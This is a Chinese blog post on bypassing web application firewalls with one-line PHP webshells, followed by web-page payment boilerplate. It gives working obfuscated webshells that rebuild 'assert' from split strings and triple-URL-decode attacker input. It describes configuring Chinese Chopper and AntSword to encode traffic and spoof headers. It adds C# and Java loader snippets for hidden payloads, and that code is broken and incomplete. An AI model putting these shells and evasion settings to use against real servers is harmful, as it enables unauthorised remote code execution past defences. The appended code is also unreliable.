论一句话过WAF

一.绕过方式

  • 木马存在敏感字符被拦截

木马代码存在敏感字符,直接被waf。如:如直接传<?php @@eval($_POST['123']); ?>,由于存在eval危险函数直接被拦截。

这时候需要对被waf的危险字符进行各种变形即可

收集的过狗马,最大同性交友网站github也有很多webshell项目

$poc = "a#s#s#e#r#t";

$poc_1 = explode("#", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];

$poc_2($_POST['super'])

  • Request请求体中存在敏感字符被拦截

最常见的就是对User-Agent和请求参数中进行检测。

如请求参数中存在敏感字符就会被拦,也会对特定标识的User-Agent头部进行拦截。如中国菜刀的User-Agent头部标识。

如对GET请求数据中的phpinfo()字符进行拦截

这时候我们需要对请求的参数进行编码,相对的在一句话代码中需要对传入的参数进行解密

如: 使用3次URL编码绕过

<?php

$poc ="axsxsxexrxt";

$poc_1 = explode("x", $poc);

$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5];

$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));

?>

Phpinfo()进行三次url编码

二.原版菜刀的过waf配置

在Config.ini文件中对PHP_MAKE参数进行加密

如:   需要对传参进行三次URL编码

PHP_MAKE参数进行三次url加密和设置请求头即可

三.中国蚁剑AndSword过waf的配置

配置编码设置,这里我已PHP脚本作为例子

这里会有一个base64编码作为示范,只需要改动data[pwd]即可

三次URL编码,注意${randomID}不要做处理

在下方选中解密器,配置User-Agent

### 绕过WAF一句话木马技术 为了有效绕过WAF并实施一句话木马攻击,通常采用多种混淆技术和非常规编码方式。通过这些手段可以避开基于签名检测的传统防御措施。 #### 动态二进制加密实现新型一句话木马 一种有效的策略是利用动态二进制加密来创建难以被识别的一句话木马[^4]。这种方法涉及在运行时才解密实际执行的有效载荷(payload),从而使得静态分析变得困难。具体来说,在.NET环境中可以通过反射加载经过AES或其他强加密算法处理过的恶意代码片段,并仅当接收到特定请求参数触发时才会对其进行即时解码和执行。 ```csharp using System; using System.IO; using System.Reflection; public class DynamicBinaryShell { private static byte[] encryptedPayload = Convert.FromBase64String("..."); public static void Main() { var assemblyBytes = Decrypt(encryptedPayload); Assembly.Load(assemblyBytes).EntryPoint.Invoke(null, null); } private static byte[] Decrypt(byte[] data) { // 实现具体的解密逻辑... return decryptedData; } } ``` 此段C#代码展示了如何将一段已加密的字节数组转换回可执行形式并通过`Assembly.Load()`方法将其注入到当前进程中去执行。由于原始恶意代码是以不可读的形式存在直到真正被执行那一刻之前都不会暴露出来,所以大大增加了绕过大多数常规安全设备的可能性。 #### Java环境下的Class文件动态解析 对于Java平台而言,则可通过自定义类加载器的方式达到相似效果——即先上传看似无害但实际上包含了隐藏功能的`.class`文件至目标主机上;之后再借助HTTP请求携带特殊指令激活它内部预设的行为模式完成进一步操作[^5]: ```java import java.net.*; import java.io.*; public final class ClassLoaderShell extends URLClassLoader { @Override protected synchronized Class<?> findClass(String name) throws ClassNotFoundException { try (InputStream is = new FileInputStream("/tmp/malicious.class")) { ByteArrayOutputStream buffer = new ByteArrayOutputStream(); int nRead; byte[] data = new byte[1024]; while ((nRead = is.read(data, 0, data.length)) != -1){ buffer.write(data, 0, nRead); } byte[] classData = buffer.toByteArray(); return defineClass(name, classData , 0, classData .length); } catch(IOException e){ throw new RuntimeException(e.getMessage()); } } public static void main(final String... args)throws Exception{ ClassLoader cl = new ClassLoaderShell(new URL[]{}); cl.loadClass("Malicious").newInstance().equals(args); } } ``` 上述例子说明了一个简单的自定义类加载过程,其中`findClass`重写了默认行为以允许从指定路径加载外部提供的未认证classes资源。一旦成功实例化此类对象便能按照设计意图行事而不易引起注意。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值